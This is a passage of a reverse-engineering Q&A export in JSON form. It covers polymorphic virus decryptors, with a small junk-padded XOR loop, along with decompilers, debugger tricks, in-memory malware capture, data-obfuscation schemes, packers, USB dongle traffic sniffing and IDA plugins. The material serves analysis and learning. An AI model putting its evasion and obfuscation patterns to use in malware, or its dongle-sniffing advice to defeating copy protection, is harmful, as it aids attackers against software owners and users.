std ;fake, might be replaced by cld / nop / xchg ax, cx / ...\nmov cx, size\nmov ax, ax ;fake, might be replaced by mov bx, bx / or cx, cx / ...\nmov si, decrypt_src\ncld ;fake\nmov di, decrypt_dst\nor ax, ax ;fake\nmov bl, key\nand bp, bp ;fake\ndecrypt:\nxor [di], bl\nxchg dx, ax ;fake\ninc di\ncld ;fake\nloop decrypt\n
\n

In this case, the di register could be exchanged with si, for example. Very simple replacement.

\n

Polymorphic

\n

decryptor with potentially highly variable elements, which does affect the size and/or shape of the code. It means that all kinds of changes can be applied, including subroutine creation, large blocks of garbage instructions, code "islands", or even algorithmic register initialisation (example here).

\n

Metamorphic

\n

highly variable elements are applied directly to the body. There is generally no decryptor in this case. The same techniques for polymorphism are applied to the code itself. The most famous example of this is the Simile virus from 2002 (details here). There's a detailed paper on the subject with actual examples here)

\n" }, { "Id": "1701", "CreationDate": "2013-04-10T14:02:31.443", "Body": "

Does anybody have a suggestion for (non commercial) software to decompile \"byte-code\" Python (.pyc) files?

\n\n

Everything I've found seems to break...

\n", "Title": "Decompiling .pyc files", "Tags": "|tools|decompilation|python|", "Answer": "

I recommend uncompyle6. it can decompile pyc/pyo files and it is compatible with python 3

\n
    \n

  1. pip install uncompyle6

    \n
    2. \n

  2. uncompyle6 FILE.pyc

    \n
    3. \n
\n" }, { "Id": "1703", "CreationDate": "2013-04-10T17:38:55.013", "Body": "

I've hex-edited a string in an Android ELF binary.
\nNow, it won't run, and gives the error message CANNOT LINK EXECUTABLE, presumably due to a bad checksum.

\n\n

Does anybody have a tool to fix the checksum?

\n", "Title": "Fixing the checksum of a modified Android ELF", "Tags": "|tools|android|elf|", "Answer": "

ELF itself doesn't specify any kind of checksum. Your link error is likely due to an incorrect edit which changed some offsets within the file. If you don't adjust the offsets, you have to replace a string with a string that is no longer than the original, and you cannot add new fields unless you have a known amount of slack space available.

\n\n

Use readelf -a to check the ELF file headers, and compare old with new.

\n" }, { "Id": "1714", "CreationDate": "2013-04-11T09:37:10.487", "Body": "

This is not strictly 'reverse engineering', it's mostly related to dynamic instrumentation.

\n\n

So, in the same fashion as strace which allows you to see syscalls made by a process, or ftrace to see function calls, is there anything similar for Java?

\n\n

What I am interested in is having a .jar file that is run in a javaVM.

\n\n

Is there any way to instrument or trace all the Java API calls the application code makes ?

\n\n

That is, without any static analysis of the contents of the .jar or without any editing of the contents of .jar (e.g. to add hooks). Ideally, a solution equivalent to strace or e.g. a manipulated javaVM

\n\n

The same applies on Android - Is there a way to trace all Android framework API calls (or other essentially DalvikVM functions) an application makes without any editing at all of the APK file? All other editing of the environment/system is fine.

\n\n

In my ideal world, the analyst would get the following output, while running an UNEDITED application (.jar or .apk):

\n\n
timestamp1: java.security.SecureRandom.getSeed() called. Arguments: (Number) \ntimestamp2: javax.security.cert.X509Certificate.checkValidity() called. Arguments: (null)\n...\ntimestamp3: java.sql.Connection.prepareStatement() called. Arguments: (\"SELECT * FROM X WHERE Y = W\")\n
\n", "Title": "Dynamic java instrumentation?", "Tags": "|dynamic-analysis|java|android|", "Answer": "

AspectJ can be used to do this on the JVM, via load-time weaving. It's built on Asm but there's more abstraction (no bytecode). Tracing method calls is fairly straight-forward: first define a filter to match \"pointcuts\" you're interested in, then specify the actions you want to perform (\"advice\").

\n\n

The syntax is a bit awkward though:

\n\n
package aspects;\n\nimport java.util.logging.Level;\nimport java.util.logging.Logger;\n\nimport org.aspectj.lang.Signature;\n\naspect Trace{\n    pointcut traceMethods() : (execution(* *(..))&& !cflow(within(Trace)));\n\n    before(): traceMethods(){\n        Signature sig = thisJoinPointStaticPart.getSignature();\n        String line =\"\"+ thisJoinPointStaticPart.getSourceLocation().getLine();\n        String sourceName = thisJoinPointStaticPart.getSourceLocation().getWithinType().getCanonicalName();\n        Logger.getLogger(\"Tracing\").log(\n                Level.INFO, \n                \"Call from \"\n                    +  sourceName\n                    +\" line \" +\n                    line\n                    +\" to \" +sig.getDeclaringTypeName() + \".\" + sig.getName()\n        );\n    }\n\n}\n
\n\n

Compile with: ajc -outxml -outjar aspects.jar Trace.java.

\n\n

To run FooClass with the weaver, run:

\n\n
java -javaagent:aspectjweaver.jar -cp aspects.jar:${target_jar_name} FooClass\n
\n" }, { "Id": "1722", "CreationDate": "2013-04-11T15:48:28.053", "Body": "

How can you determine if a variable is a local variable of the function or an argument passed to the function?

\n", "Title": "Determining if a variable is local or an argument passed to a function", "Tags": "|disassembly|c|c++|", "Answer": "

While this answer is certainly not true in all situations, the answer for which your teacher is probably looking:

\n\n\n" }, { "Id": "1724", "CreationDate": "2013-04-11T18:05:07.347", "Body": "

I've found some universities that are porting DynamoRIO (or something very similar) to Linux kernel space, but the code doesn't seem to be available. Is there a resource I am unaware of?

\n\n

Here's an example.

\n", "Title": "How can I use DynamoRIO or something similar in Linux kernel space?", "Tags": "|tools|dynamic-analysis|dynamorio|", "Answer": "

Recently, two new kernel instrumentation systems have been released, of which I am the creator of one:

\n\n
    \n
  1. Granary, which is primarily focused on module instrumentation. This is the instrumentation created by me. Granary internally uses parts of DynamoRIO, but works rather differently. The goal of Granary is to make it easy to develop debugging and analysis tools. There will be a paper in HotDep'13 about one of the major memory debugging tools built on top of Granary.
    2. \n
  2. btkernel, a recently released full kernel instrumentation system. You can find a paper about btkernel in SOSP'13.
    3. \n
\n" }, { "Id": "1727", "CreationDate": "2013-04-11T18:39:57.193", "Body": "

I would like more information about the mathematical foundations of vulnerability and exploit development.online sources or books in the right direction will be helpful.

\n", "Title": "mathematical background behind exploit development and vulnerabilities", "Tags": "|vulnerability-analysis|", "Answer": "

As it turns out, somebody asked roughly the same question on reddit about a year ago and I posted a rather extensive answer to it, and I have continued to edit it in the meantime.

\n" }, { "Id": "1734", "CreationDate": "2013-04-12T03:37:45.860", "Body": "

In IDA 5.0 Freeware how do you convert a block of data into a unicode string, the only thing I can find is to convert it into an ascii string.

\n\n
db 'a'\ndb 0\ndb 'b'\ndb 0\ndb 'c'\ndb 0\ndb 'd'\ndb 0\ndb 0\ndb 0\n
\n\n

into

\n\n
unicode <abcd>, 0\n
\n", "Title": "IDA Convert to Unicode", "Tags": "|ida|encodings|", "Answer": "

Select the first byte, Edit -> Strings -> Unicode.

\n" }, { "Id": "1738", "CreationDate": "2013-04-12T09:40:39.973", "Body": "

When I attach OllyDbg or ImmunityDebugger to a process, it automatically breaks execution. I'm attaching to a user-mode service running as SYSTEM and only need to catch exceptions, so this is not ideal. Is there a way to disable the break-on-attach behaviour?

\n", "Title": "How can I prevent Immunity Debugger / OllyDbg from breaking on attach?", "Tags": "|tools|debuggers|ollydbg|immunity-debugger|", "Answer": "

Explanation

\n

The break on attach is due to the ntdll DbgUiRemoteBreakin and DbgBreakPoint functions being called. If you check the kernel32 DebugActiveProcess function called by the debugger, OllyDbg or ImmunityDebugger, you will see a call to the CreateRemoteThread, CreateRemoteThreadEx, or ZwCreateThreadEx function depending on your OS.

\n

So, i guess one way to bypass breaking is:

\n
    \n
  1. debug the debugger itself
    2. \n
  2. go to the DbgUiIssueRemoteBreakin function and spot the call to the function creating the remote thread.
    3. \n
  3. change the lpStartAddress parameter in case of CreateRemoteThread/CreateRemoteThreadEx to DbgBreakPoint+1 RETN 0xC3
    4. \n
\n

Plugin

\n

I created an OllyDbg v1.10 plugin which NOPs the INT3 in DbgBreakPoint in the process with the PID you choose. It has only been tested on Windows 7.

\n

Usage

\n

Place SilentAttach.dll in OllyDbg directory, fire OllyDbg, Press Alt+F12, and then enter process Id of the process you want to silently attach to.

\n

N.B.\nSince no break occurs, OllyDbg does not extract many piece of info. e.g. list of loaded module. So, you have to activate the context by something like Alt+E then Alt+C

\n" }, { "Id": "1754", "CreationDate": "2013-04-13T16:32:58.253", "Body": "

This post is for collecting all the best books and tutorials that exist dealing with windows specific reverse engineering techniques and concepts. The content will be added to the Windows wiki. Any suggestions of books and tutorials should be added into the CW answer. Please do not add any other answers.

\n\n
\n\n

If you have anything to say about this, post your opinion here :

\n\n\n", "Title": "Windows Wiki : Books and Tutorials", "Tags": "|windows|", "Answer": "

Books:

\n\n

Articles:

\n

Tutorials:

\n\n

Links:

\n\n

Forums:

\n\n" }, { "Id": "1757", "CreationDate": "2013-04-13T21:14:00.353", "Body": "

The question pretty much says it. Beyond knowing people that are interested in the same things, is there a collaborative reversing dumping ground for documenting specifically disassembly of closed source firmware?

\n", "Title": "Is there a collaborative reversing forum for people that deal with firmware?", "Tags": "|decompilation|disassembly|firmware|", "Answer": "

I am not aware of a currently active generic \"firmware reversing\" forum.

\n\n

A few years ago there was a pretty ambitious attempt with lostscrews.com but unfortunately it languished due to lack of attention, got overwhelmed with spam and eventually the domain has expired. I think the guys behind the /dev/ttyS0 blog also tried opening a forum a couple months ago but it wasn't very active and apparently has been closed down.

\n\n

I guess the problem is that the area is somewhat nebulous and trying to cover everything won't really work. However, there are numerous forums that specialize in a specific type of firmware, manufacturer, or even just one product, and some of them are pretty big on their own. Here's a few examples that come to mind:

\n\n\n" }, { "Id": "1761", "CreationDate": "2013-04-14T09:41:56.633", "Body": "

I have an infected MS-Windows 7 machine with an in-memory malware, shutting it down will probably make it disappear and I would like to get the malware in a more convenient format to perform some analysis on it.

\n\n

What are the different in-memory malware and what kind of methods do you recommend for each type of in-memory malware ?

\n", "Title": "How to capture an \"in-memory\" malware in MS-Windows?", "Tags": "|malware|digital-forensics|", "Answer": "

As others have mentioned the first thing you should do is dump the memory with MoonSols. This will allow you to do memory analysis using Volatility later. When it comes to malware analysis I find IDA the most useful. In order for it be useful you will need a process dump and a way to rebuild the import table. If the malware can spread to other processes I would create a dummy process, dump it then rebuild the import table. If for example the malware injects into iexplore.exe, open up Ollydbg change the debugging options events to System Breakpoint, open up iexplore.exe, then search for memory of RWX (described here). Check the contents of the memory, if it contains your memory malware dump the process and then rebuild the import table. If you need to manually rebuild the import table you can use the following script. If the process does not spread you could attach to the process via a debugger.

\n\n

Disclaimer: I am the author of those links.

\n" }, { "Id": "1763", "CreationDate": "2013-04-14T12:43:55.180", "Body": "

When reversing a router firmware based on DD-WRT I came across a mention of \"webcomp\". It seems it's used for storing internal HTML files for the web interface. What exactly it is and how can I extract those files from the firmware image?

\n\n

NOTE: This is a self-asked and answered question to add to the knowledge based.

\n", "Title": "What is \"webcomp\" and how does it work?", "Tags": "|linux|firmware|webcomp|", "Answer": "

The webdecomp tool didn't work for me on the latest builds of DD-WRT, managed to extract the firmware though.

\n\n
root@ubuntu:~/Desktop/firmware-mod-kit/src/webcomp-tools$ ./webdecomp --httpd=\"/home/root/Desktop/firmware-mod-kit/fmk/rootfs/usr/sbin/httpd\" -www=\"/home/root/Desktop/firmware-mod-kit/fmk/rootfs/etc/www\" --dir=\"/home/root/Desktop/www\" --extract\nFailed to locate websRomPageIndex!\nFailed to detect httpd settings!\nFailed to process Web files!\n\nroot@ubuntu:~/Desktop/firmware-mod-kit/fmk/rootfs/usr/sbin$ file httpd \nhttpd: ELF 32-bit LSB executable, MIPS, MIPS32 version 1, dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size\n
\n\n

Looks like they have obfuscated the section headers.

\n\n
root@ubuntu:~/Desktop/firmware-mod-kit/src/webcomp-tools$ readelf -a /home/root/Desktop/firmware-mod-kit/fmk/rootfs/usr/sbin/httpd\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 01 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       1\n  Type:                              EXEC (Executable file)\n  Machine:                           MIPS R3000\n  Version:                           0x1\n  Entry point address:               0x401a30\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          0 (bytes into file)\n  Flags:                             0x54001005, noreorder, cpic, o32, mips16, mips32\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         7\n  Size of section headers:           0 (bytes)\n  Number of section headers:         0\n  Section header string table index: 0\n\nThere are no sections in this file.\n\nThere are no sections to group in this file.\n
\n" }, { "Id": "1766", "CreationDate": "2013-04-14T17:16:43.087", "Body": "

What is data interleaving? Is this something I can use to obfuscate collections of variables?

\n", "Title": "What is Data Interleaving?", "Tags": "|obfuscation|", "Answer": "

Data Interleaving is a term I made up to reflect an idea I've been contemplating lately; interleaving the bits of a set of variables into a single binary blob. Any number and types of variables could be interleaved together. Access to variables in the interleaved blob can even be on-demand, with a controller class encoding or decoding variables on the fly.

\n\n

What in the World?

\n\n

Data Interleaving is the process of translating any number of variables to a single binary blob by interleaving the bits of the variables. This obfuscates the variables in memory or external storage. The entire blob need not be decoded to access member variables, though it can be for improved performance.

\n\n

Why?

\n\n

This will help complicate reverse engineering of code. It will particularly deter identifying data types and variables. Plaintext is also well obfuscated with this interleave.

\n\n

Interleave Map

\n\n

The variables to be encoded could be defined by an array of byte sizes of those variables and, optionally, pointers to a location in memory to retrieve or store their reconstituted form. In the case of on-demand access to an interleaved blob, individual variables can be decoded and re-encoded on the fly, so buffers for reconstituted storage are optional (though they may be temporarily reconstituted by the controller class as members are modified).

\n\n

The members of the bitwise interleave can be referenced in the source code via their indices. For instance, index 0 may be MY_VARIABLE_INSTANCE. By passing the variable index to an interleave blob controller class, it knows the size and, optionally, a pointer for constituted storage.

\n\n

Member data types can be anything. They need not be similar. When one variable ends, it is simply ended. See a few paragraphs below for what happens when a single variable is longer than the others.

\n\n
/* member information */\n/* optional pointer to its normal, constituted storage location */\n/*  (for use in encoding and decoding the member) */\n/* and the size of the member */\nclass CInterleaveMember\n{\n  void *pvConstitutedStore;\n  unsigned long nMemberByteSize;\n};\n\n/* INTERLEAVE MAP */\nCInterleaveMember aInterleaveMap[]\n  { szSomeString, sizeof(szSomeString) },\n  { &nIntegerMan, sizeof(nIntegerMan) },\n  { &cMyClass , sizeof(cMyClass) };\n\nvoid *pBLOB;  /* interleaved data stored in a dynamically allocated blob */\n
\n\n

The total size of the blob need not be stored, as it is the sum of all member sizes in the interleave map. The interleave map provides everything we need to know.

\n\n

The Process

\n\n

In case it is not clear, the process for the interleave would go something like this: The array of members is 'walked', putting or getting the current bit index from each member variable, advancing to the next bit index after the entire array has been walked. When a member variable is full of bits (exhausted), it is skipped in subsequent interleave iterations (more on long vars later).

\n\n

For simplicity, let me define a few variables in bits only (not matching above):

\n\n
szSomeString 0 1 1 1 0 0 1 0 \nnIntegerMan  1 1 1 0 0 0 1 1 1 0 0 1 0 0 0 1\ncMyClass     0 0 0 1\n
\n\n

For the interleave, a bit is taken from each variable in succession.

\n\n
First iteration of the interleave, get first bit from each ...\n 0 1 0\nNext iteration(s), get the next bit from each ...\n 0 1 0 1 1 0\n 0 1 0 1 1 0 1 1 0\n ...\n
\n\n

When a Member is Longer than the Others

\n\n

In the case where one variable is much longer than the others, thus having no pair to encode with, one could use a simple XOR, and/or toss in redundant, unused data from the prior members. Any number of strategies are possible to prevent plaintext storage in the case of an abnormally long variable not having an interleave partner for its ending bits.

\n\n

Sample Code

\n\n

For example, the following pseudo-code represents this algorithm:

\n\n
/* PROTECTED VARIABLES */\n/* These get stored in an bitwise interleave in the binary blob */\nchar szSomeString = \"Is there anybody out there?\";\nunsigned long nIntegerMan = 0x9090; \nMyClass cMyClass(\"whoopie\");\n\nclass CInterleaveMember\n{\n  void *pvConstitutedStore;\n  unsigned long nMemberByteSize;\n};\n\n/* INTERLEAVE MAP */\nCInterleaveMember aInterleaveMap[]\n  { szSomeString, sizeof(szSomeString) },\n  { &nIntegerMan, sizeof(nIntegerMan) },\n  { &cMyClass , sizeof(cMyClass) };\n\n/* NOTE: Total size of the resultant bitwise interleave is the sum of the members of a Interleave Map */\n\n/* INTERLEAVE REFS */\ntypedef enum \n{\n  _szSomeString=0,\n  _nIntegerMan,\n  _cMyClass,\n} InterleavedVariables;\n\nvoid *pBinaryBlob;  /* dynamically allocated blob storage */\n\n/* Fictional class constructor, passing the interleave map to it */\n/* From the interleave map, it can calculate the total blob size, */\n/* then dynamically allocate storage for the blob. */\nCBitInterleaver cBitInterleave(aInterleaveMap);\n\n/* If the blob is externally loaded, or needs externally stored, we */\n/* may need to get access to the blob buffer. Fictional example: */\n/* We know the blob size from map! The input size is for safety. */\ncBitInterleave.SetBlob(pIncomingBlob, nSrcBufferSize);  \n\n/* Or we can get the blob */\nnBlobSize=cBitInterleave.GetBlob(ppOutgoingBlob);\n\n/* Example to encode or decode the entire blob to constituted */\n/* storage. We already provided the map, and it decodes or encodes */\n/* to the listed pointers.\ncBitInterleave.EncodeBlob();\ncBitInterleave.DecodeBlob();\n\n/* Example call to decode a member of the array */\n/* We pass it the INDEX into the MAP, and dest buffer */\n/* From the Index of _nIntegerman, we ALREADY know the size */\n/* The out size is for safety. */\ncBitInterleave.GetVariable(_nIntegerMan, &nIntegerMan, sizeof(nIntegerMan));\n\n/* OR we can use the default storage address in the interleave map */      \ncBitInterleave.GetVariable(_nIntegerMan);\n\n/* Example call to encode a member of the array */\n/* We pass it the INDEX into the MAP, and input reference */\ncBitInterleave.SetVariable(_szSomeString, &szSomeString, sizeof(szSomeString));\n\n/* And so on... I'm literally coding this in this answer, like a fool */\n
\n" }, { "Id": "1779", "CreationDate": "2013-04-15T11:36:23.980", "Body": "

I know the basic principle of a packer. Basically, it is a small routine launched at the beginning of the program that decompress the actual program and jump to it once achieved.

\n\n

Yet, it seems that there are quite a lot of variations around this principles. I recently learned about \"virtualized packers\" or \"on-the-fly packers\", and I might miss a lot. So, can somebody define what a basic packer is and then explain what are the different types that can be encountered ?

\n", "Title": "What are the different types of packers?", "Tags": "|obfuscation|malware|packers|", "Answer": "

Definition

\n\n

We'll define a packer as an executable compressor.

\n\n

Packers reduce the physical size of an executable by compressing it. A decompression stub is usually then attached, parasitically, to the executable. At runtime, the decompression stub expands the original application and transfers control to the original entry point.

\n\n

Packers exist for almost all modern platforms. There are two fundamental types of packers:

\n\n\n\n

In-Place packers do what is termed an in-place decompression, in which the decompressed code and data ends up at the same location it was loaded at. The decryption stub attached to these compressed executables transfer control to the original application entry point at runtime, after decompression is complete.

\n\n

Write to Disk packers have a decryption stub (or entire module) that, at runtime, write the decompressed application out to the file system, or a block of memory,\nthen transfer control to the original application via execution of\nthe application's code via normal API calls.

\n\n

Uses

\n\n

The original intention of executable compressors was to reduce storage requirements (size on disk), back when disk space was at a premium. They can also lower the network bandwidth footprint for transmitted compressed executables, at least when the network traffic would not otherwise be compressed.

\n\n

These days, there is no premium on disk space, so their use is less common. They are most often used as part of a protection system against reverse engineering. Abuse is also, sadly, common.

\n\n

Abuse

\n\n

Some packers are abused by malware authors in an attempt to hide malware from scanners. Most scanners can scan 'inside' (decompress) packed executables. Ironically, use of packers on malware is often counter-productive as it makes the malware appear suspicious and thus makes it subject to deeper levels of analysis.

\n\n

Additional Features

\n\n

Additional features such as protection from reverse engineering can be added to the packer, making the packer also a protector. The process of compression is itself a form of obfuscation and abstraction that inherently serves as some protection.

\n" }, { "Id": "1786", "CreationDate": "2013-04-15T18:29:01.353", "Body": "

How can I monitor a usb dongle's traffic? I would like to see how a program and its usb dongle talk to each other, if it is possible replay this traffic?

\n\n

Since I am new to this type of thing, any tutorial or tool suggestion is welcome.

\n", "Title": "USB Dongle Traffic Monitoring", "Tags": "|tools|executable|usb|dongle|", "Answer": "

If you aren't afraid to get your hands dirty, on Windows you could always write a filter driver on top of or below the device object for the dongle. The IoAttachDevice() function and the three other functions starting with that name are your friend. The advantage of that is to have a complete in-software solution for the problem without the expenses involved with hardware sniffers. You'll notice that this is actually what the USBpcap project does in USBPcapFilterManager.c. So if you are merely writing this for research, this would be a good starting point, unless the GPL is too restrictive for you.

\n\n

There is a potential downside with in-software solutions. A filter driver will only see what the other drivers want it to see. Keep in mind that in Windows kernel mode all drivers have the same privileges. Even attaching to the root hub may not always yield meaningful results. So if one driver decides to do funny things such as stealing entry points (IRP major function codes) to proactively counter filtering or debugging of any kind, it becomes an arms race. Otherwise it will be the cheapest solution you can get, given you only need this to work on a particular OS.

\n\n

However, if I was you I'd first sniff the user mode traffic between the library (hook DeviceIoControl, ReadFile, WriteFile et al, or their native counterparts) and the driver or the library and the application that requires the dongle. Of course if the dongle poses as a HID device you'd have to look for the respective IOCTLs and decode them or hook the HID functions directly. This is the method I was using to investigate the traffic sent between a sports watch with USB connectivity and my box. I based it on PaiMai and pydbg, because the application wasn't guarding against being debugged. If yours does, you may have to cheat a little to \"convince\" the application to play nicely IDAStealth provided a few good pointers (link is dead as of May 2016) how to go about.

\n" }, { "Id": "1791", "CreationDate": "2013-04-15T22:04:52.597", "Body": "

Are there any ARM (or other non-x86) disassemblers that decompose an instruction into its component parts in a machine-friendly structure? Ideally it would be something like XED or distorm3, which disassemble into a structure and then provide an API for querying things like \"Is this a call?\" \"Is this a conditional branch?\" etc., or getting the operands of an instruction.

\n\n

I found armstorm, but it currently only supports THUMB.

\n\n

Edit: To clarify, I'm looking for something that can be called from within another program and hopefully has liberal licensing (GPL-compatible).

\n", "Title": "Are there any ARM disassemblers that provide structured output?", "Tags": "|tools|disassembly|arm|", "Answer": "

A more up-to-date answer to this question would be to suggest Capstone library. I've used it for ARM disassembly and it's quite reliable. IMHO, It's the best open source library available.

\n\n

The library is based on LLVM's TabelGen instruction descriptions. Therefore, its ISA support is as complete as LLVM.

\n" }, { "Id": "1792", "CreationDate": "2013-04-15T22:13:42.270", "Body": "

There are great questions here about different types of packers and that is very interesting to me. I would like to try my hand at reverse engineering one. Since I am very new to this, I would like the source code as well.

\n\n

I am hoping that by continuously compiling and recompiling the source, I can learn to match it up in IDA Pro and gain a better understanding of both topics at once.

\n\n

I've checked out the source code for UPX but it is very complex as it handles many different platforms and types.

\n\n

Is there an open source code packer that deals exclusively with Windows executables and is very simple to understand?

\n", "Title": "Is there any simple open source Windows packer?", "Tags": "|windows|packers|", "Answer": "

You might be better off looking at a generic data packer first, such as LZ4. It's a very simple packer written in C. There are various unpackers in several languages, too, on the same site. Jumping right into a runtime packer means lots of file format details that, really, no-one gets quite right in all cases.

\n" }, { "Id": "1797", "CreationDate": "2013-04-15T22:27:57.460", "Body": "

Is there anything like PIN or DynamoRIO to instrument at Kernel level? The platforms I'm more interested on are Windows and OSX.

\n", "Title": "Kernel level Dynamic Binary Instrumentation", "Tags": "|windows|dynamic-analysis|osx|kernel-mode|instrumentation|", "Answer": "

Tools like Qemu or Bochs are IMO pretty similar to DBI frameworks conceptually and they work on the entire system, including the kernel. Research efforts like BitBlaze and S2E have used modified versions of Qemu to trace kernel mode components for bug finding.

\n\n

The key difference, I think, is that Qemu/Bochs as whole system emulators do not present a by default view of the program under inspection as a DBI does. A DBI allows for dynamic editing of the program by default. Emulators have the primitives required to effect DBI, they can read and write memory and by extension program code, but they do not provide the API that PIN does for program modification.

\n\n

So the best I can do is, you can use Qemu to make a kernel mode DBI and others have done this, but I don't know of something more usable out of the box.

\n" }, { "Id": "1812", "CreationDate": "2013-04-16T23:13:49.257", "Body": "

I'm currently a high school sophomore. I haven't really done much on the RCE of malware, I've unpacked zbot and rbot, and looked at how they work, but I can manipulate practically any game to my liking by reverse engineering it and finding out which functions I need to detour, or what addresses of code I need to patch.

\n\n

From what I've read on the /r/ReverseEngineering, I should create a blog, but what do what do I write on the blog? Do I just detail how I hacked the game? Or must it be purely reversing of malware?

\n", "Title": "How do I move from RCE being a hobby to RCE being a profession?", "Tags": "|career-advice|", "Answer": "

Like many others have stated, there are many different types of professional RCE positions. I think the first step for you is to determine which aspect of RCE you would like to pursue. Getting started professionally is a lot easier if you are able to specialize in a particular area: malware, vuln research, DRM, firmware reversing for compatibility, T&E, etc... If I were you, the next thing I would try to do is find my focus. I can tell you from experience that there are plenty of incident response teams looking for good malware analysts.

\n" }, { "Id": "1817", "CreationDate": "2013-04-17T00:59:59.900", "Body": "

Is there any disassembler (not only a live debugger) second to IDA in capabilities? IDA is wonderful, and somewhat amazing in how robust and useful it is for reversing. However, it is quite expensive to properly license. Is there any viable alternative, or does IDA hold the monopoly on this market?

\n\n

I don't expect an alternative to be as good as IDA, just looking for other options that may be more affordable, and useful enough.

\n\n

EDIT: Preferrably, multi-platform support should exist, though that's optional. MIPS, ARM, x86, and x86-64 would be nice, but a disassembler that handles any one of those is a good option to know about.

\n", "Title": "Is there any disassembler to rival IDA Pro?", "Tags": "|tools|ida|disassemblers|", "Answer": "

Just for completeness: one more disassembler, Binary Ninja:

\n\n

As for now (9/26/2016) it has the following properties:

\n\n\n" }, { "Id": "1829", "CreationDate": "2013-04-17T10:02:42.920", "Body": "

I am just starting to use IDA Pro. After discussing a bit with the community, it seems that IDA Pro plugins and scripts are quite important to reach a good level of productivity while analyzing a program.

\n\n

What are some must have plugins for IDApro that you would recommend for an everyday usage.

\n", "Title": "Could you list some useful plugins and scripts for IDA Pro?", "Tags": "|ida|ida-plugin|", "Answer": "

By Architecture

\n

Generic helpers for reverse engineering of a specific architecture.

\n

ia32

\n

amd64

\n

ARM

\n
\n

By Operating System

\n

Generic helpers for reverse engineering of a specific operating system.

\n

Windows

\n

Linux

\n
\n

By Compiler

\n

Generic helpers for reverse engineering of binaries generated using a specific compiler.

\n

Microsoft Visual Studio

\n

Microsoft Visual C++ Reversing Helpers

\n
\n

These IDC scripts help with the reversing of MSVC programs. One script scans the whole program for typical SEH/EH code sequences and comments all related structures and fields. The other script scans the whole program for RTTI structures and vftables.

\n
\n

GCC

\n

Delphi

\n

Delphi RTTI script

\n
\n

This script deals with Delphi RTTI structures

\n
\n

Borland

\n

Borland C++ Builder RTTI

\n
\n

Borland C++ Builder Run Time Type Information (RTTI) support for IDA Pro

\n
\n
\n

By Technology

\n

Generic helpers for reverse engineering of a technology.

\n

COM

\n

COM Plugin

\n
\n

The plugin tries to extract the symbol information from\nthe typelibrary of the COM component. It will then set the\nfunction names of interface methods and their parameters, and\nfinally add a comment with the MIDL-style declaration of the\ninterface method.

\n
\n

Remote Procedure Call

\n

mIDA

\n
\n

mIDA is a plugin for the IDA disassembler that can extract RPC interfaces from a binary file and recreate the associated IDL definition. mIDA is free and fully integrates with the latest version of IDA (5.2 or later)

\n
\n
\n

Cryptography

\n

Generic helpers for reverse engineering of encryption and decryption algorithms.

\n

Signature Based

\n

FindCrypt2

\n
\n

The idea behind it pretty simple: since almost all crypto algorithms use magic constants, we will just look for these constants in the program body.\nThe plugin supports virtually all crypto algorithms and hash functions.

\n
\n
\n

Deobfuscation

\n

Plugins and scripts for removing obfuscations from disassembly.

\n

ia32

\n

Optimice

\n
\n

Optimice applies common optimization techniques on obfuscated code to make it more readable/user friendly. This plugin enables you to remove some common obfuscations and rewrite code to a new segment.

\n
\n" }, { "Id": "1833", "CreationDate": "2013-04-17T14:17:46.000", "Body": "

I'm currently trying to gain some practice in RE and I need some help for patching a DLL.\nHere are my steps:\nI first analyze the main program and the dll in IDA trying to understand the logic. I then switch to OllyDBG for patching. Well, the problem is, since Olly dynamically loads the dll (in contrast to the static standalone analysis in IDA), the offsets are different and I don't know how to find the offset that I've inspected in IDA.\nIs there some easy way to \"rediscover\" the offset in the dll?

\n\n

Thanks in advance!

\n", "Title": "How to find offsets in OllyDBG from IDA", "Tags": "|ida|ollydbg|", "Answer": "

I usually rebase it in IDA to 0. Then using Adv Ctr + G option of StrongOD, you can just put the address from IDA as RVA to needed module.

\n" }, { "Id": "1842", "CreationDate": "2013-04-18T09:34:49.823", "Body": "

Radare2 is a framework for reverse-engineering gathering several tools (see this Phrack article about radare1 to know a bit more about the framework).

\n\n

I would like to know if someone could point out the main useful features of the framework for reverse engineering ? And, particularly what makes radare2 different from other tools or frameworks ?

\n", "Title": "What are the main features of radare2?", "Tags": "|tools|binary-analysis|radare2|", "Answer": "

from its feature page:

\n\n\n" }, { "Id": "1843", "CreationDate": "2013-04-18T09:43:07.177", "Body": "

I would like to be able to rewrite or reorganize an ELF binary program directly from the executable format (not at compile-time).

\n\n

The only library I know to do this is elfesteem (used in Miasm). But, there must be others. So, what are the libraries or frameworks that you use to statically modify ELF executables ?

\n", "Title": "What are the available libraries to statically modify ELF executables?", "Tags": "|tools|obfuscation|deobfuscation|elf|", "Answer": "

e9patch

\n
\n

E9Patch is different to other tools in that it can statically rewrite x86_64 Linux ELF binaries without modifying the set of jump targets. To do so, E9Patch uses a set of novel low-level binary rewriting techniques, such as instruction punning, padding and eviction that can insert or replace binary code without the need to move existing instructions. Since existing instructions are not moved, the set of jump targets remains unchanged, meaning that calls/jumps do not need to be corrected (including cross binary calls/jumps).

\n
\n

\"e9patch

\n

Paper: Binary Rewriting without Control Flow Recovery

\n

Projects based on e9patch:

\n\n" }, { "Id": "1849", "CreationDate": "2013-04-18T14:14:04.363", "Body": "

Some posts reference the mIDA plugin, but the download site seems unavailable. Is there any mirror or a link to an archive version?

\n", "Title": "where can I get mIDA", "Tags": "|ida|ida-plugin|", "Answer": "

I was just sent mIDA-1.0.10, from 2008.

\n\n
mIDA is an IDA plugin which extracts RPC interfaces and recreates the associated IDL file.\nmIDA supports inline, interpreted and fully interpreted server stubs.\n
\n" }, { "Id": "1854", "CreationDate": "2013-04-18T20:07:52.410", "Body": "

What can I do to reverse engineer a DOS .COM file? As far as debugging goes, I've looked DEBUG and DEBUGX from the creators of FreeDOS, as well as the default DEBUG command that comes with Windows. Sure, I can probably work with them and eventually figure out what I'm doing, but I feel like the process would end up being longer than necessary. Is there a better tool I can use?

\n\n

If there are no \"better\" tools than DEBUG or DEBUGX, then what can I use to work with output from these two tools? My main goal is to create something that mimics the .COM program, but in a more manageable format (as far as code goes).

\n", "Title": "Working with DOS .COM files", "Tags": "|tools|windows|dos-com|", "Answer": "

My answer is a little late; newcomer to this site. The Decompiler project was initiated in order to decompile MS-DOS EXE and COM binaries. The project has both a command-line and a GUI tool:

